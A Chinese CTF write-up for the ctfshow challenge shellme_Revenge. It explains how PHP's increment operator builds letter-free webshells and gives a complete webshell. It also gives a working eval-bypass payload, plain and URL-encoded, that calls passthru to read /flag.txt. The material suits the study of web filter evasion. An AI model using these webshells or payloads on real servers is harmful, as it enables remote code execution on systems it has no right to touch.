| 前言在这次ctfshow的吃瓜杯比赛中,出现了一道利用自增运算符来造成命令执行的题目shellme_Revenge,以前只学过异或、或和取反的方法,因此这次来学习一波 主要是参考p神的文章一些不包含数字和字母的webshell 自增在php中,当把字符串和数组连接在一起时,最终返回的值是Array <?php
echo ''.[];
  且php中
 a++ => b,b++ =>c,那么只要取Array中的第一个字母A和第四个字母a,就可以得到A-Z和a-z的所有字母组合。
 <?php
$_=[];
$_=@"$_"; 
$_=$_['!'=='@']; 
$___=$_; 
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; 
$___.=$__; 
$__=$_;
$__++;$__++;$__++;$__++; 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$____.=$__;
$_=$$____;
$___($_[_]);  
 题目wp在cookie中看到有?looklook,传值后出现源码 <?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {
    phpinfo();
}
?>
 可以看到字母和数字中没被过滤的只剩C和0-3,就用这几个来构造payload <?php
$_=C;
$_++; 
$C=++$_; 
$_++; 
$C_=++$_; 
$_=(C/C.C){0}; 
$_++; 
$_++; 
$_++; 
$_++; 
$_++; 
$_=_.$C_.$C.++$_; 
($$_{1})($$_{2}); 
 在diaabled_function中,可以看到
  过滤了
 system exec shell_exec,因此执行系统命令的函数需要选择passthru(比赛的时候漏看了一个字母,把fpassthru看成passthru了…) payload: ?looklook=1&1=passthru&2=cat /flag.txt
 ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%7B1%7D)(%24%24_%7B2%7D)%3B%20
 |